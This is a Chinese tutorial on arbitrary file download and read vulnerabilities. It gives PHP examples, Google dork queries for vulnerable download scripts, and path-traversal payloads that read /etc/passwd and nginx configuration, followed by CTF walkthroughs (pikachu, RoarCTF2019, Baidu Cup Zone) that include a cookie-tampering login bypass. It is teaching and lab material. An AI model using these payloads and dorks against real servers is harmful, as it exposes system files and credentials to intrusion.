在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
原理产生:任意语言代码下载函数
漏洞危害下载服务器任意文件,如脚本代码、服务及系统配置文件等 利用方式浅谈任意文件下载漏洞的利用 首先收集系统信息,包括系统版本,中间件,cms版本,服务器用途,服务器使用者信息,端口,web路径等,然后根据收集到的信息,下载配置文件,如weblogic,ftp,ssh等, 根据下载到的配置文件进行渗透。
系统文件window
Linux
常见脚本敏感文件参考PHP: inc/config. php获得数据库连接字符串中的口令信息 任意文件读取<?php $filename = "test.txt"; readfile($filename); ?> <?php $filename = "test.txt"; $fp = fopen($filename,"r") or die("Unable to open file!"); $data = fread($fp,filesize($filename)); fclose($fp); echo $data; ?> <?php $filename = "test.txt"; echo file_get_contents($filename); ?> 任意文件下载直接下载: <a href="http://www.xx.com/a.zip" rel="external nofollow" >Download</a> 用header()下载: <?php $filename = "uploads/201607141437284653.jpg"; header('Content-Type: imgage/jpeg'); header('Content-Disposition: attachment; filename='.$filename); header('Content-Lengh: '.filesize($filename)); ?> Google searchinurl:"readfile.php?file=" inurl:"read.php?filename=" inurl:"download.php?file=" inurl:"down.php?file=" 等等... 漏洞利用代码readfile.php?file=/etc/passwd readfile.php?file=../../../../../../../../etc/passwd readfile.php?file=../../../../../../../../etc/passwd%00 1.文件被解析,则是文件包含漏洞 漏洞挖掘可以用Google hacking或Web漏洞扫描器 从链接上看,形如: • readfile.php?file=***.txt • download.php?file=***.rar 从参数名看,形如: • &RealPath= • &FilePath= • &filepath= • &Path= • &path= • &inputFile= • &url= • &urls= • &Lang= • &dis= • &data= • &readfile= • &filep= • &src= • &menu= • META-INF • WEB-INF 目录符号等 ../ ..\ .\ ./等 %00 ? %23 %20 .等 漏洞验证• index.php?f=../../../../../../etc/passwd • index.php?f=../index.php • index.php?f=file:///etc/passwd 注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞, 若显示源码或提示下载则是文件查看与下载漏洞 漏洞防范任意文件下载漏洞的简单防护措施 案例pikuchu靶场-文件下载测试1、判断是否为文件上传漏洞
点击任意图片,发现下载了图片,复制图片下载链接查看
查看参数名为filename,查看参数后面的值也与下载的文件名一样 2、判断下载路径
发现显示无法下载,说明该execdownload.php与文件不在同一个路径下,我们尝试下到上一级路径
成功下载,打开源码发现是在download文件夹下
说明文件下载路径的文件夹与down_nba.php是同一级路径 小米路由器-文件读取真实测试-漏洞RoarCTF2019-文件读取真题复现wp 发现输出一串 java.io.FileNotFoundException:{help.docx} 是文件无法找到的异常信息 查询资料发现:
根据上文,我们先找一下WEB-INF/web.xml,POST传值 得到WEB-INF/web.xml文件,打开 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <welcome-file-list> <welcome-file>Index</welcome-file> </welcome-file-list> <servlet> <servlet-name>IndexController</servlet-name> <servlet-class>com.wm.ctf.IndexController</servlet-class> </servlet> <servlet-mapping> <servlet-name>IndexController</servlet-name> <url-pattern>/Index</url-pattern> </servlet-mapping> <servlet> <servlet-name>LoginController</servlet-name> <servlet-class>com.wm.ctf.LoginController</servlet-class> </servlet> <servlet-mapping> <servlet-name>LoginController</servlet-name> <url-pattern>/Login</url-pattern> </servlet-mapping> <servlet> <servlet-name>DownloadController</servlet-name> <servlet-class>com.wm.ctf.DownloadController</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadController</servlet-name> <url-pattern>/Download</url-pattern> </servlet-mapping> <servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet> <servlet-mapping> <servlet-name>FlagController</servlet-name> <url-pattern>/Flag</url-pattern> </servlet-mapping> </web-app> 我们可以看到com.wm.FlagController, <servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet> servlet-class里面的.代表的是路径/ filename=WEB-INF/classes/com/wm/ctf/FlagController.class 打开文件发现一串base编码,进行base64解密得到flag
百度杯2017二月-Zone真题复现1、 尝试burp抓包发现cookie中有个login,值为0,将0改为1后在访问首页,发现可以正常登入
2、单击 “manage” (此时还是需要用burp改login的值),点击框框发现比较特殊的url;猜测可能存在文件包含或者下载、读取 3、测试访问url: xxxxxx.com/manages/admin.php?module=ind…/ex&name=php 页面可以正常访问,猜测过滤了一遍…/再试一试绕过 url:url: xxxxxx.com/manages/admin.php?module=ind…/./ex&name=php 访问不正常; 4、访问测试任意文件读取判断路径通过不断加…/ url:?module=…/./…/./…/./etc/passwd&name 5、查看下服务器是nginx。找一下它的配置文件,根据信息读取配置文件, url: manages/admin.php?module=…/./…/./…/./etc/nginx/nginx.conf 获得关键文件sites-enabled/default 并进行读取
module=…/./…/./…/./etc/nginx/sites-enabled/default&name=获得web文件路径online-movies 并访问
6、发现可以利用的漏洞,因为有一个autoindex on也就是开启了目录遍历,我们可以访问这个/online-movies/,访问出现如下,再点击…/发现要进行验证,把login改为1后页面空白,我通过百度发现要/online-movies/…才能遍历(不清楚为什么)
7、访问/online-movies…/ 8、地址为:online-movies…/var/www/html/flag.php构造url下载到flag.php获得flag 到此这篇关于案例讲解WEB 漏洞-文件操作之文件下载读取的文章就介绍到这了,更多相关WEB 漏洞文件下载读取内容请搜索极客世界以前的文章或继续浏览下面的相关文章希望大家以后多多支持极客世界! |
请发表评论